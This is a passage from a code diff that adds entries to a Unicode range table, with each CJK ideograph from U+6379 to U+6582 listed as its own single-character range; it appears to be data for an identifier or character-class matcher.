+ ["\u6379", "\u6379"], /* CJK Ideograph */
+ ["\u637A", "\u637A"], /* CJK Ideograph */
+ ["\u637B", "\u637B"], /* CJK Ideograph */
+ ["\u637C", "\u637C"], /* CJK Ideograph */
+ ["\u637D", "\u637D"], /* CJK Ideograph */
+ ["\u637E", "\u637E"], /* CJK Ideograph */
+ ["\u637F", "\u637F"], /* CJK Ideograph */
+ ["\u6380", "\u6380"], /* CJK Ideograph */
+ ["\u6381", "\u6381"], /* CJK Ideograph */
+ ["\u6382", "\u6382"], /* CJK Ideograph */
+ ["\u6383", "\u6383"], /* CJK Ideograph */
+ ["\u6384", "\u6384"], /* CJK Ideograph */
+ ["\u6385", "\u6385"], /* CJK Ideograph */
+ ["\u6386", "\u6386"], /* CJK Ideograph */
+ ["\u6387", "\u6387"], /* CJK Ideograph */
+ ["\u6388", "\u6388"], /* CJK Ideograph */
+ ["\u6389", "\u6389"], /* CJK Ideograph */
+ ["\u638A", "\u638A"], /* CJK Ideograph */
+ ["\u638B", "\u638B"], /* CJK Ideograph */
+ ["\u638C", "\u638C"], /* CJK Ideograph */
+ ["\u638D", "\u638D"], /* CJK Ideograph */
+ ["\u638E", "\u638E"], /* CJK Ideograph */
+ ["\u638F", "\u638F"], /* CJK Ideograph */
+ ["\u6390", "\u6390"], /* CJK Ideograph */
+ ["\u6391", "\u6391"], /* CJK Ideograph */
+ ["\u6392", "\u6392"], /* CJK Ideograph */
+ ["\u6393", "\u6393"], /* CJK Ideograph */
+ ["\u6394", "\u6394"], /* CJK Ideograph */
+ ["\u6395", "\u6395"], /* CJK Ideograph */
+ ["\u6396", "\u6396"], /* CJK Ideograph */
+ ["\u6397", "\u6397"], /* CJK Ideograph */
+ ["\u6398", "\u6398"], /* CJK Ideograph */
+ ["\u6399", "\u6399"], /* CJK Ideograph */
+ ["\u639A", "\u639A"], /* CJK Ideograph */
+ ["\u639B", "\u639B"], /* CJK Ideograph */
+ ["\u639C", "\u639C"], /* CJK Ideograph */
+ ["\u639D", "\u639D"], /* CJK Ideograph */
+ ["\u639E", "\u639E"], /* CJK Ideograph */
+ ["\u639F", "\u639F"], /* CJK Ideograph */
+ ["\u63A0", "\u63A0"], /* CJK Ideograph */
+ ["\u63A1", "\u63A1"], /* CJK Ideograph */
+ ["\u63A2", "\u63A2"], /* CJK Ideograph */
+ ["\u63A3", "\u63A3"], /* CJK Ideograph */
+ ["\u63A4", "\u63A4"], /* CJK Ideograph */
+ ["\u63A5", "\u63A5"], /* CJK Ideograph */
+ ["\u63A6", "\u63A6"], /* CJK Ideograph */
+ ["\u63A7", "\u63A7"], /* CJK Ideograph */
+ ["\u63A8", "\u63A8"], /* CJK Ideograph */
+ ["\u63A9", "\u63A9"], /* CJK Ideograph */
+ ["\u63AA", "\u63AA"], /* CJK Ideograph */
+ ["\u63AB", "\u63AB"], /* CJK Ideograph */
+ ["\u63AC", "\u63AC"], /* CJK Ideograph */
+ ["\u63AD", "\u63AD"], /* CJK Ideograph */
+ ["\u63AE", "\u63AE"], /* CJK Ideograph */
+ ["\u63AF", "\u63AF"], /* CJK Ideograph */
+ ["\u63B0", "\u63B0"], /* CJK Ideograph */
+ ["\u63B1", "\u63B1"], /* CJK Ideograph */
+ ["\u63B2", "\u63B2"], /* CJK Ideograph */
+ ["\u63B3", "\u63B3"], /* CJK Ideograph */
+ ["\u63B4", "\u63B4"], /* CJK Ideograph */
+ ["\u63B5", "\u63B5"], /* CJK Ideograph */
+ ["\u63B6", "\u63B6"], /* CJK Ideograph */
+ ["\u63B7", "\u63B7"], /* CJK Ideograph */
+ ["\u63B8", "\u63B8"], /* CJK Ideograph */
+ ["\u63B9", "\u63B9"], /* CJK Ideograph */
+ ["\u63BA", "\u63BA"], /* CJK Ideograph */
+ ["\u63BB", "\u63BB"], /* CJK Ideograph */
+ ["\u63BC", "\u63BC"], /* CJK Ideograph */
+ ["\u63BD", "\u63BD"], /* CJK Ideograph */
+ ["\u63BE", "\u63BE"], /* CJK Ideograph */
+ ["\u63BF", "\u63BF"], /* CJK Ideograph */
+ ["\u63C0", "\u63C0"], /* CJK Ideograph */
+ ["\u63C1", "\u63C1"], /* CJK Ideograph */
+ ["\u63C2", "\u63C2"], /* CJK Ideograph */
+ ["\u63C3", "\u63C3"], /* CJK Ideograph */
+ ["\u63C4", "\u63C4"], /* CJK Ideograph */
+ ["\u63C5", "\u63C5"], /* CJK Ideograph */
+ ["\u63C6", "\u63C6"], /* CJK Ideograph */
+ ["\u63C7", "\u63C7"], /* CJK Ideograph */
+ ["\u63C8", "\u63C8"], /* CJK Ideograph */
+ ["\u63C9", "\u63C9"], /* CJK Ideograph */
+ ["\u63CA", "\u63CA"], /* CJK Ideograph */
+ ["\u63CB", "\u63CB"], /* CJK Ideograph */
+ ["\u63CC", "\u63CC"], /* CJK Ideograph */
+ ["\u63CD", "\u63CD"], /* CJK Ideograph */
+ ["\u63CE", "\u63CE"], /* CJK Ideograph */
+ ["\u63CF", "\u63CF"], /* CJK Ideograph */
+ ["\u63D0", "\u63D0"], /* CJK Ideograph */
+ ["\u63D1", "\u63D1"], /* CJK Ideograph */
+ ["\u63D2", "\u63D2"], /* CJK Ideograph */
+ ["\u63D3", "\u63D3"], /* CJK Ideograph */
+ ["\u63D4", "\u63D4"], /* CJK Ideograph */
+ ["\u63D5", "\u63D5"], /* CJK Ideograph */
+ ["\u63D6", "\u63D6"], /* CJK Ideograph */
+ ["\u63D7", "\u63D7"], /* CJK Ideograph */
+ ["\u63D8", "\u63D8"], /* CJK Ideograph */
+ ["\u63D9", "\u63D9"], /* CJK Ideograph */
+ ["\u63DA", "\u63DA"], /* CJK Ideograph */
+ ["\u63DB", "\u63DB"], /* CJK Ideograph */
+ ["\u63DC", "\u63DC"], /* CJK Ideograph */
+ ["\u63DD", "\u63DD"], /* CJK Ideograph */
+ ["\u63DE", "\u63DE"], /* CJK Ideograph */
+ ["\u63DF", "\u63DF"], /* CJK Ideograph */
+ ["\u63E0", "\u63E0"], /* CJK Ideograph */
+ ["\u63E1", "\u63E1"], /* CJK Ideograph */
+ ["\u63E2", "\u63E2"], /* CJK Ideograph */
+ ["\u63E3", "\u63E3"], /* CJK Ideograph */
+ ["\u63E4", "\u63E4"], /* CJK Ideograph */
+ ["\u63E5", "\u63E5"], /* CJK Ideograph */
+ ["\u63E6", "\u63E6"], /* CJK Ideograph */
+ ["\u63E7", "\u63E7"], /* CJK Ideograph */
+ ["\u63E8", "\u63E8"], /* CJK Ideograph */
+ ["\u63E9", "\u63E9"], /* CJK Ideograph */
+ ["\u63EA", "\u63EA"], /* CJK Ideograph */
+ ["\u63EB", "\u63EB"], /* CJK Ideograph */
+ ["\u63EC", "\u63EC"], /* CJK Ideograph */
+ ["\u63ED", "\u63ED"], /* CJK Ideograph */
+ ["\u63EE", "\u63EE"], /* CJK Ideograph */
+ ["\u63EF", "\u63EF"], /* CJK Ideograph */
+ ["\u63F0", "\u63F0"], /* CJK Ideograph */
+ ["\u63F1", "\u63F1"], /* CJK Ideograph */
+ ["\u63F2", "\u63F2"], /* CJK Ideograph */
+ ["\u63F3", "\u63F3"], /* CJK Ideograph */
+ ["\u63F4", "\u63F4"], /* CJK Ideograph */
+ ["\u63F5", "\u63F5"], /* CJK Ideograph */
+ ["\u63F6", "\u63F6"], /* CJK Ideograph */
+ ["\u63F7", "\u63F7"], /* CJK Ideograph */
+ ["\u63F8", "\u63F8"], /* CJK Ideograph */
+ ["\u63F9", "\u63F9"], /* CJK Ideograph */
+ ["\u63FA", "\u63FA"], /* CJK Ideograph */
+ ["\u63FB", "\u63FB"], /* CJK Ideograph */
+ ["\u63FC", "\u63FC"], /* CJK Ideograph */
+ ["\u63FD", "\u63FD"], /* CJK Ideograph */
+ ["\u63FE", "\u63FE"], /* CJK Ideograph */
+ ["\u63FF", "\u63FF"], /* CJK Ideograph */
+ ["\u6400", "\u6400"], /* CJK Ideograph */
+ ["\u6401", "\u6401"], /* CJK Ideograph */
+ ["\u6402", "\u6402"], /* CJK Ideograph */
+ ["\u6403", "\u6403"], /* CJK Ideograph */
+ ["\u6404", "\u6404"], /* CJK Ideograph */
+ ["\u6405", "\u6405"], /* CJK Ideograph */
+ ["\u6406", "\u6406"], /* CJK Ideograph */
+ ["\u6407", "\u6407"], /* CJK Ideograph */
+ ["\u6408", "\u6408"], /* CJK Ideograph */
+ ["\u6409", "\u6409"], /* CJK Ideograph */
+ ["\u640A", "\u640A"], /* CJK Ideograph */
+ ["\u640B", "\u640B"], /* CJK Ideograph */
+ ["\u640C", "\u640C"], /* CJK Ideograph */
+ ["\u640D", "\u640D"], /* CJK Ideograph */
+ ["\u640E", "\u640E"], /* CJK Ideograph */
+ ["\u640F", "\u640F"], /* CJK Ideograph */
+ ["\u6410", "\u6410"], /* CJK Ideograph */
+ ["\u6411", "\u6411"], /* CJK Ideograph */
+ ["\u6412", "\u6412"], /* CJK Ideograph */
+ ["\u6413", "\u6413"], /* CJK Ideograph */
+ ["\u6414", "\u6414"], /* CJK Ideograph */
+ ["\u6415", "\u6415"], /* CJK Ideograph */
+ ["\u6416", "\u6416"], /* CJK Ideograph */
+ ["\u6417", "\u6417"], /* CJK Ideograph */
+ ["\u6418", "\u6418"], /* CJK Ideograph */
+ ["\u6419", "\u6419"], /* CJK Ideograph */
+ ["\u641A", "\u641A"], /* CJK Ideograph */
+ ["\u641B", "\u641B"], /* CJK Ideograph */
+ ["\u641C", "\u641C"], /* CJK Ideograph */
+ ["\u641D", "\u641D"], /* CJK Ideograph */
+ ["\u641E", "\u641E"], /* CJK Ideograph */
+ ["\u641F", "\u641F"], /* CJK Ideograph */
+ ["\u6420", "\u6420"], /* CJK Ideograph */
+ ["\u6421", "\u6421"], /* CJK Ideograph */
+ ["\u6422", "\u6422"], /* CJK Ideograph */
+ ["\u6423", "\u6423"], /* CJK Ideograph */
+ ["\u6424", "\u6424"], /* CJK Ideograph */
+ ["\u6425", "\u6425"], /* CJK Ideograph */
+ ["\u6426", "\u6426"], /* CJK Ideograph */
+ ["\u6427", "\u6427"], /* CJK Ideograph */
+ ["\u6428", "\u6428"], /* CJK Ideograph */
+ ["\u6429", "\u6429"], /* CJK Ideograph */
+ ["\u642A", "\u642A"], /* CJK Ideograph */
+ ["\u642B", "\u642B"], /* CJK Ideograph */
+ ["\u642C", "\u642C"], /* CJK Ideograph */
+ ["\u642D", "\u642D"], /* CJK Ideograph */
+ ["\u642E", "\u642E"], /* CJK Ideograph */
+ ["\u642F", "\u642F"], /* CJK Ideograph */
+ ["\u6430", "\u6430"], /* CJK Ideograph */
+ ["\u6431", "\u6431"], /* CJK Ideograph */
+ ["\u6432", "\u6432"], /* CJK Ideograph */
+ ["\u6433", "\u6433"], /* CJK Ideograph */
+ ["\u6434", "\u6434"], /* CJK Ideograph */
+ ["\u6435", "\u6435"], /* CJK Ideograph */
+ ["\u6436", "\u6436"], /* CJK Ideograph */
+ ["\u6437", "\u6437"], /* CJK Ideograph */
+ ["\u6438", "\u6438"], /* CJK Ideograph */
+ ["\u6439", "\u6439"], /* CJK Ideograph */
+ ["\u643A", "\u643A"], /* CJK Ideograph */
+ ["\u643B", "\u643B"], /* CJK Ideograph */
+ ["\u643C", "\u643C"], /* CJK Ideograph */
+ ["\u643D", "\u643D"], /* CJK Ideograph */
+ ["\u643E", "\u643E"], /* CJK Ideograph */
+ ["\u643F", "\u643F"], /* CJK Ideograph */
+ ["\u6440", "\u6440"], /* CJK Ideograph */
+ ["\u6441", "\u6441"], /* CJK Ideograph */
+ ["\u6442", "\u6442"], /* CJK Ideograph */
+ ["\u6443", "\u6443"], /* CJK Ideograph */
+ ["\u6444", "\u6444"], /* CJK Ideograph */
+ ["\u6445", "\u6445"], /* CJK Ideograph */
+ ["\u6446", "\u6446"], /* CJK Ideograph */
+ ["\u6447", "\u6447"], /* CJK Ideograph */
+ ["\u6448", "\u6448"], /* CJK Ideograph */
+ ["\u6449", "\u6449"], /* CJK Ideograph */
+ ["\u644A", "\u644A"], /* CJK Ideograph */
+ ["\u644B", "\u644B"], /* CJK Ideograph */
+ ["\u644C", "\u644C"], /* CJK Ideograph */
+ ["\u644D", "\u644D"], /* CJK Ideograph */
+ ["\u644E", "\u644E"], /* CJK Ideograph */
+ ["\u644F", "\u644F"], /* CJK Ideograph */
+ ["\u6450", "\u6450"], /* CJK Ideograph */
+ ["\u6451", "\u6451"], /* CJK Ideograph */
+ ["\u6452", "\u6452"], /* CJK Ideograph */
+ ["\u6453", "\u6453"], /* CJK Ideograph */
+ ["\u6454", "\u6454"], /* CJK Ideograph */
+ ["\u6455", "\u6455"], /* CJK Ideograph */
+ ["\u6456", "\u6456"], /* CJK Ideograph */
+ ["\u6457", "\u6457"], /* CJK Ideograph */
+ ["\u6458", "\u6458"], /* CJK Ideograph */
+ ["\u6459", "\u6459"], /* CJK Ideograph */
+ ["\u645A", "\u645A"], /* CJK Ideograph */
+ ["\u645B", "\u645B"], /* CJK Ideograph */
+ ["\u645C", "\u645C"], /* CJK Ideograph */
+ ["\u645D", "\u645D"], /* CJK Ideograph */
+ ["\u645E", "\u645E"], /* CJK Ideograph */
+ ["\u645F", "\u645F"], /* CJK Ideograph */
+ ["\u6460", "\u6460"], /* CJK Ideograph */
+ ["\u6461", "\u6461"], /* CJK Ideograph */
+ ["\u6462", "\u6462"], /* CJK Ideograph */
+ ["\u6463", "\u6463"], /* CJK Ideograph */
+ ["\u6464", "\u6464"], /* CJK Ideograph */
+ ["\u6465", "\u6465"], /* CJK Ideograph */
+ ["\u6466", "\u6466"], /* CJK Ideograph */
+ ["\u6467", "\u6467"], /* CJK Ideograph */
+ ["\u6468", "\u6468"], /* CJK Ideograph */
+ ["\u6469", "\u6469"], /* CJK Ideograph */
+ ["\u646A", "\u646A"], /* CJK Ideograph */
+ ["\u646B", "\u646B"], /* CJK Ideograph */
+ ["\u646C", "\u646C"], /* CJK Ideograph */
+ ["\u646D", "\u646D"], /* CJK Ideograph */
+ ["\u646E", "\u646E"], /* CJK Ideograph */
+ ["\u646F", "\u646F"], /* CJK Ideograph */
+ ["\u6470", "\u6470"], /* CJK Ideograph */
+ ["\u6471", "\u6471"], /* CJK Ideograph */
+ ["\u6472", "\u6472"], /* CJK Ideograph */
+ ["\u6473", "\u6473"], /* CJK Ideograph */
+ ["\u6474", "\u6474"], /* CJK Ideograph */
+ ["\u6475", "\u6475"], /* CJK Ideograph */
+ ["\u6476", "\u6476"], /* CJK Ideograph */
+ ["\u6477", "\u6477"], /* CJK Ideograph */
+ ["\u6478", "\u6478"], /* CJK Ideograph */
+ ["\u6479", "\u6479"], /* CJK Ideograph */
+ ["\u647A", "\u647A"], /* CJK Ideograph */
+ ["\u647B", "\u647B"], /* CJK Ideograph */
+ ["\u647C", "\u647C"], /* CJK Ideograph */
+ ["\u647D", "\u647D"], /* CJK Ideograph */
+ ["\u647E", "\u647E"], /* CJK Ideograph */
+ ["\u647F", "\u647F"], /* CJK Ideograph */
+ ["\u6480", "\u6480"], /* CJK Ideograph */
+ ["\u6481", "\u6481"], /* CJK Ideograph */
+ ["\u6482", "\u6482"], /* CJK Ideograph */
+ ["\u6483", "\u6483"], /* CJK Ideograph */
+ ["\u6484", "\u6484"], /* CJK Ideograph */
+ ["\u6485", "\u6485"], /* CJK Ideograph */
+ ["\u6486", "\u6486"], /* CJK Ideograph */
+ ["\u6487", "\u6487"], /* CJK Ideograph */
+ ["\u6488", "\u6488"], /* CJK Ideograph */
+ ["\u6489", "\u6489"], /* CJK Ideograph */
+ ["\u648A", "\u648A"], /* CJK Ideograph */
+ ["\u648B", "\u648B"], /* CJK Ideograph */
+ ["\u648C", "\u648C"], /* CJK Ideograph */
+ ["\u648D", "\u648D"], /* CJK Ideograph */
+ ["\u648E", "\u648E"], /* CJK Ideograph */
+ ["\u648F", "\u648F"], /* CJK Ideograph */
+ ["\u6490", "\u6490"], /* CJK Ideograph */
+ ["\u6491", "\u6491"], /* CJK Ideograph */
+ ["\u6492", "\u6492"], /* CJK Ideograph */
+ ["\u6493", "\u6493"], /* CJK Ideograph */
+ ["\u6494", "\u6494"], /* CJK Ideograph */
+ ["\u6495", "\u6495"], /* CJK Ideograph */
+ ["\u6496", "\u6496"], /* CJK Ideograph */
+ ["\u6497", "\u6497"], /* CJK Ideograph */
+ ["\u6498", "\u6498"], /* CJK Ideograph */
+ ["\u6499", "\u6499"], /* CJK Ideograph */
+ ["\u649A", "\u649A"], /* CJK Ideograph */
+ ["\u649B", "\u649B"], /* CJK Ideograph */
+ ["\u649C", "\u649C"], /* CJK Ideograph */
+ ["\u649D", "\u649D"], /* CJK Ideograph */
+ ["\u649E", "\u649E"], /* CJK Ideograph */
+ ["\u649F", "\u649F"], /* CJK Ideograph */
+ ["\u64A0", "\u64A0"], /* CJK Ideograph */
+ ["\u64A1", "\u64A1"], /* CJK Ideograph */
+ ["\u64A2", "\u64A2"], /* CJK Ideograph */
+ ["\u64A3", "\u64A3"], /* CJK Ideograph */
+ ["\u64A4", "\u64A4"], /* CJK Ideograph */
+ ["\u64A5", "\u64A5"], /* CJK Ideograph */
+ ["\u64A6", "\u64A6"], /* CJK Ideograph */
+ ["\u64A7", "\u64A7"], /* CJK Ideograph */
+ ["\u64A8", "\u64A8"], /* CJK Ideograph */
+ ["\u64A9", "\u64A9"], /* CJK Ideograph */
+ ["\u64AA", "\u64AA"], /* CJK Ideograph */
+ ["\u64AB", "\u64AB"], /* CJK Ideograph */
+ ["\u64AC", "\u64AC"], /* CJK Ideograph */
+ ["\u64AD", "\u64AD"], /* CJK Ideograph */
+ ["\u64AE", "\u64AE"], /* CJK Ideograph */
+ ["\u64AF", "\u64AF"], /* CJK Ideograph */
+ ["\u64B0", "\u64B0"], /* CJK Ideograph */
+ ["\u64B1", "\u64B1"], /* CJK Ideograph */
+ ["\u64B2", "\u64B2"], /* CJK Ideograph */
+ ["\u64B3", "\u64B3"], /* CJK Ideograph */
+ ["\u64B4", "\u64B4"], /* CJK Ideograph */
+ ["\u64B5", "\u64B5"], /* CJK Ideograph */
+ ["\u64B6", "\u64B6"], /* CJK Ideograph */
+ ["\u64B7", "\u64B7"], /* CJK Ideograph */
+ ["\u64B8", "\u64B8"], /* CJK Ideograph */
+ ["\u64B9", "\u64B9"], /* CJK Ideograph */
+ ["\u64BA", "\u64BA"], /* CJK Ideograph */
+ ["\u64BB", "\u64BB"], /* CJK Ideograph */
+ ["\u64BC", "\u64BC"], /* CJK Ideograph */
+ ["\u64BD", "\u64BD"], /* CJK Ideograph */
+ ["\u64BE", "\u64BE"], /* CJK Ideograph */
+ ["\u64BF", "\u64BF"], /* CJK Ideograph */
+ ["\u64C0", "\u64C0"], /* CJK Ideograph */
+ ["\u64C1", "\u64C1"], /* CJK Ideograph */
+ ["\u64C2", "\u64C2"], /* CJK Ideograph */
+ ["\u64C3", "\u64C3"], /* CJK Ideograph */
+ ["\u64C4", "\u64C4"], /* CJK Ideograph */
+ ["\u64C5", "\u64C5"], /* CJK Ideograph */
+ ["\u64C6", "\u64C6"], /* CJK Ideograph */
+ ["\u64C7", "\u64C7"], /* CJK Ideograph */
+ ["\u64C8", "\u64C8"], /* CJK Ideograph */
+ ["\u64C9", "\u64C9"], /* CJK Ideograph */
+ ["\u64CA", "\u64CA"], /* CJK Ideograph */
+ ["\u64CB", "\u64CB"], /* CJK Ideograph */
+ ["\u64CC", "\u64CC"], /* CJK Ideograph */
+ ["\u64CD", "\u64CD"], /* CJK Ideograph */
+ ["\u64CE", "\u64CE"], /* CJK Ideograph */
+ ["\u64CF", "\u64CF"], /* CJK Ideograph */
+ ["\u64D0", "\u64D0"], /* CJK Ideograph */
+ ["\u64D1", "\u64D1"], /* CJK Ideograph */
+ ["\u64D2", "\u64D2"], /* CJK Ideograph */
+ ["\u64D3", "\u64D3"], /* CJK Ideograph */
+ ["\u64D4", "\u64D4"], /* CJK Ideograph */
+ ["\u64D5", "\u64D5"], /* CJK Ideograph */
+ ["\u64D6", "\u64D6"], /* CJK Ideograph */
+ ["\u64D7", "\u64D7"], /* CJK Ideograph */
+ ["\u64D8", "\u64D8"], /* CJK Ideograph */
+ ["\u64D9", "\u64D9"], /* CJK Ideograph */
+ ["\u64DA", "\u64DA"], /* CJK Ideograph */
+ ["\u64DB", "\u64DB"], /* CJK Ideograph */
+ ["\u64DC", "\u64DC"], /* CJK Ideograph */
+ ["\u64DD", "\u64DD"], /* CJK Ideograph */
+ ["\u64DE", "\u64DE"], /* CJK Ideograph */
+ ["\u64DF", "\u64DF"], /* CJK Ideograph */
+ ["\u64E0", "\u64E0"], /* CJK Ideograph */
+ ["\u64E1", "\u64E1"], /* CJK Ideograph */
+ ["\u64E2", "\u64E2"], /* CJK Ideograph */
+ ["\u64E3", "\u64E3"], /* CJK Ideograph */
+ ["\u64E4", "\u64E4"], /* CJK Ideograph */
+ ["\u64E5", "\u64E5"], /* CJK Ideograph */
+ ["\u64E6", "\u64E6"], /* CJK Ideograph */
+ ["\u64E7", "\u64E7"], /* CJK Ideograph */
+ ["\u64E8", "\u64E8"], /* CJK Ideograph */
+ ["\u64E9", "\u64E9"], /* CJK Ideograph */
+ ["\u64EA", "\u64EA"], /* CJK Ideograph */
+ ["\u64EB", "\u64EB"], /* CJK Ideograph */
+ ["\u64EC", "\u64EC"], /* CJK Ideograph */
+ ["\u64ED", "\u64ED"], /* CJK Ideograph */
+ ["\u64EE", "\u64EE"], /* CJK Ideograph */
+ ["\u64EF", "\u64EF"], /* CJK Ideograph */
+ ["\u64F0", "\u64F0"], /* CJK Ideograph */
+ ["\u64F1", "\u64F1"], /* CJK Ideograph */
+ ["\u64F2", "\u64F2"], /* CJK Ideograph */
+ ["\u64F3", "\u64F3"], /* CJK Ideograph */
+ ["\u64F4", "\u64F4"], /* CJK Ideograph */
+ ["\u64F5", "\u64F5"], /* CJK Ideograph */
+ ["\u64F6", "\u64F6"], /* CJK Ideograph */
+ ["\u64F7", "\u64F7"], /* CJK Ideograph */
+ ["\u64F8", "\u64F8"], /* CJK Ideograph */
+ ["\u64F9", "\u64F9"], /* CJK Ideograph */
+ ["\u64FA", "\u64FA"], /* CJK Ideograph */
+ ["\u64FB", "\u64FB"], /* CJK Ideograph */
+ ["\u64FC", "\u64FC"], /* CJK Ideograph */
+ ["\u64FD", "\u64FD"], /* CJK Ideograph */
+ ["\u64FE", "\u64FE"], /* CJK Ideograph */
+ ["\u64FF", "\u64FF"], /* CJK Ideograph */
+ ["\u6500", "\u6500"], /* CJK Ideograph */
+ ["\u6501", "\u6501"], /* CJK Ideograph */
+ ["\u6502", "\u6502"], /* CJK Ideograph */
+ ["\u6503", "\u6503"], /* CJK Ideograph */
+ ["\u6504", "\u6504"], /* CJK Ideograph */
+ ["\u6505", "\u6505"], /* CJK Ideograph */
+ ["\u6506", "\u6506"], /* CJK Ideograph */
+ ["\u6507", "\u6507"], /* CJK Ideograph */
+ ["\u6508", "\u6508"], /* CJK Ideograph */
+ ["\u6509", "\u6509"], /* CJK Ideograph */
+ ["\u650A", "\u650A"], /* CJK Ideograph */
+ ["\u650B", "\u650B"], /* CJK Ideograph */
+ ["\u650C", "\u650C"], /* CJK Ideograph */
+ ["\u650D", "\u650D"], /* CJK Ideograph */
+ ["\u650E", "\u650E"], /* CJK Ideograph */
+ ["\u650F", "\u650F"], /* CJK Ideograph */
+ ["\u6510", "\u6510"], /* CJK Ideograph */
+ ["\u6511", "\u6511"], /* CJK Ideograph */
+ ["\u6512", "\u6512"], /* CJK Ideograph */
+ ["\u6513", "\u6513"], /* CJK Ideograph */
+ ["\u6514", "\u6514"], /* CJK Ideograph */
+ ["\u6515", "\u6515"], /* CJK Ideograph */
+ ["\u6516", "\u6516"], /* CJK Ideograph */
+ ["\u6517", "\u6517"], /* CJK Ideograph */
+ ["\u6518", "\u6518"], /* CJK Ideograph */
+ ["\u6519", "\u6519"], /* CJK Ideograph */
+ ["\u651A", "\u651A"], /* CJK Ideograph */
+ ["\u651B", "\u651B"], /* CJK Ideograph */
+ ["\u651C", "\u651C"], /* CJK Ideograph */
+ ["\u651D", "\u651D"], /* CJK Ideograph */
+ ["\u651E", "\u651E"], /* CJK Ideograph */
+ ["\u651F", "\u651F"], /* CJK Ideograph */
+ ["\u6520", "\u6520"], /* CJK Ideograph */
+ ["\u6521", "\u6521"], /* CJK Ideograph */
+ ["\u6522", "\u6522"], /* CJK Ideograph */
+ ["\u6523", "\u6523"], /* CJK Ideograph */
+ ["\u6524", "\u6524"], /* CJK Ideograph */
+ ["\u6525", "\u6525"], /* CJK Ideograph */
+ ["\u6526", "\u6526"], /* CJK Ideograph */
+ ["\u6527", "\u6527"], /* CJK Ideograph */
+ ["\u6528", "\u6528"], /* CJK Ideograph */
+ ["\u6529", "\u6529"], /* CJK Ideograph */
+ ["\u652A", "\u652A"], /* CJK Ideograph */
+ ["\u652B", "\u652B"], /* CJK Ideograph */
+ ["\u652C", "\u652C"], /* CJK Ideograph */
+ ["\u652D", "\u652D"], /* CJK Ideograph */
+ ["\u652E", "\u652E"], /* CJK Ideograph */
+ ["\u652F", "\u652F"], /* CJK Ideograph */
+ ["\u6530", "\u6530"], /* CJK Ideograph */
+ ["\u6531", "\u6531"], /* CJK Ideograph */
+ ["\u6532", "\u6532"], /* CJK Ideograph */
+ ["\u6533", "\u6533"], /* CJK Ideograph */
+ ["\u6534", "\u6534"], /* CJK Ideograph */
+ ["\u6535", "\u6535"], /* CJK Ideograph */
+ ["\u6536", "\u6536"], /* CJK Ideograph */
+ ["\u6537", "\u6537"], /* CJK Ideograph */
+ ["\u6538", "\u6538"], /* CJK Ideograph */
+ ["\u6539", "\u6539"], /* CJK Ideograph */
+ ["\u653A", "\u653A"], /* CJK Ideograph */
+ ["\u653B", "\u653B"], /* CJK Ideograph */
+ ["\u653C", "\u653C"], /* CJK Ideograph */
+ ["\u653D", "\u653D"], /* CJK Ideograph */
+ ["\u653E", "\u653E"], /* CJK Ideograph */
+ ["\u653F", "\u653F"], /* CJK Ideograph */
+ ["\u6540", "\u6540"], /* CJK Ideograph */
+ ["\u6541", "\u6541"], /* CJK Ideograph */
+ ["\u6542", "\u6542"], /* CJK Ideograph */
+ ["\u6543", "\u6543"], /* CJK Ideograph */
+ ["\u6544", "\u6544"], /* CJK Ideograph */
+ ["\u6545", "\u6545"], /* CJK Ideograph */
+ ["\u6546", "\u6546"], /* CJK Ideograph */
+ ["\u6547", "\u6547"], /* CJK Ideograph */
+ ["\u6548", "\u6548"], /* CJK Ideograph */
+ ["\u6549", "\u6549"], /* CJK Ideograph */
+ ["\u654A", "\u654A"], /* CJK Ideograph */
+ ["\u654B", "\u654B"], /* CJK Ideograph */
+ ["\u654C", "\u654C"], /* CJK Ideograph */
+ ["\u654D", "\u654D"], /* CJK Ideograph */
+ ["\u654E", "\u654E"], /* CJK Ideograph */
+ ["\u654F", "\u654F"], /* CJK Ideograph */
+ ["\u6550", "\u6550"], /* CJK Ideograph */
+ ["\u6551", "\u6551"], /* CJK Ideograph */
+ ["\u6552", "\u6552"], /* CJK Ideograph */
+ ["\u6553", "\u6553"], /* CJK Ideograph */
+ ["\u6554", "\u6554"], /* CJK Ideograph */
+ ["\u6555", "\u6555"], /* CJK Ideograph */
+ ["\u6556", "\u6556"], /* CJK Ideograph */
+ ["\u6557", "\u6557"], /* CJK Ideograph */
+ ["\u6558", "\u6558"], /* CJK Ideograph */
+ ["\u6559", "\u6559"], /* CJK Ideograph */
+ ["\u655A", "\u655A"], /* CJK Ideograph */
+ ["\u655B", "\u655B"], /* CJK Ideograph */
+ ["\u655C", "\u655C"], /* CJK Ideograph */
+ ["\u655D", "\u655D"], /* CJK Ideograph */
+ ["\u655E", "\u655E"], /* CJK Ideograph */
+ ["\u655F", "\u655F"], /* CJK Ideograph */
+ ["\u6560", "\u6560"], /* CJK Ideograph */
+ ["\u6561", "\u6561"], /* CJK Ideograph */
+ ["\u6562", "\u6562"], /* CJK Ideograph */
+ ["\u6563", "\u6563"], /* CJK Ideograph */
+ ["\u6564", "\u6564"], /* CJK Ideograph */
+ ["\u6565", "\u6565"], /* CJK Ideograph */
+ ["\u6566", "\u6566"], /* CJK Ideograph */
+ ["\u6567", "\u6567"], /* CJK Ideograph */
+ ["\u6568", "\u6568"], /* CJK Ideograph */
+ ["\u6569", "\u6569"], /* CJK Ideograph */
+ ["\u656A", "\u656A"], /* CJK Ideograph */
+ ["\u656B", "\u656B"], /* CJK Ideograph */
+ ["\u656C", "\u656C"], /* CJK Ideograph */
+ ["\u656D", "\u656D"], /* CJK Ideograph */
+ ["\u656E", "\u656E"], /* CJK Ideograph */
+ ["\u656F", "\u656F"], /* CJK Ideograph */
+ ["\u6570", "\u6570"], /* CJK Ideograph */
+ ["\u6571", "\u6571"], /* CJK Ideograph */
+ ["\u6572", "\u6572"], /* CJK Ideograph */
+ ["\u6573", "\u6573"], /* CJK Ideograph */
+ ["\u6574", "\u6574"], /* CJK Ideograph */
+ ["\u6575", "\u6575"], /* CJK Ideograph */
+ ["\u6576", "\u6576"], /* CJK Ideograph */
+ ["\u6577", "\u6577"], /* CJK Ideograph */
+ ["\u6578", "\u6578"], /* CJK Ideograph */
+ ["\u6579", "\u6579"], /* CJK Ideograph */
+ ["\u657A", "\u657A"], /* CJK Ideograph */
+ ["\u657B", "\u657B"], /* CJK Ideograph */
+ ["\u657C", "\u657C"], /* CJK Ideograph */
+ ["\u657D", "\u657D"], /* CJK Ideograph */
+ ["\u657E", "\u657E"], /* CJK Ideograph */
+ ["\u657F", "\u657F"], /* CJK Ideograph */
+ ["\u6580", "\u6580"], /* CJK Ideograph */
+ ["\u6581", "\u6581"], /* CJK Ideograph */
+ ["\u6582", "\u6582"], /* CJK Ideograph */
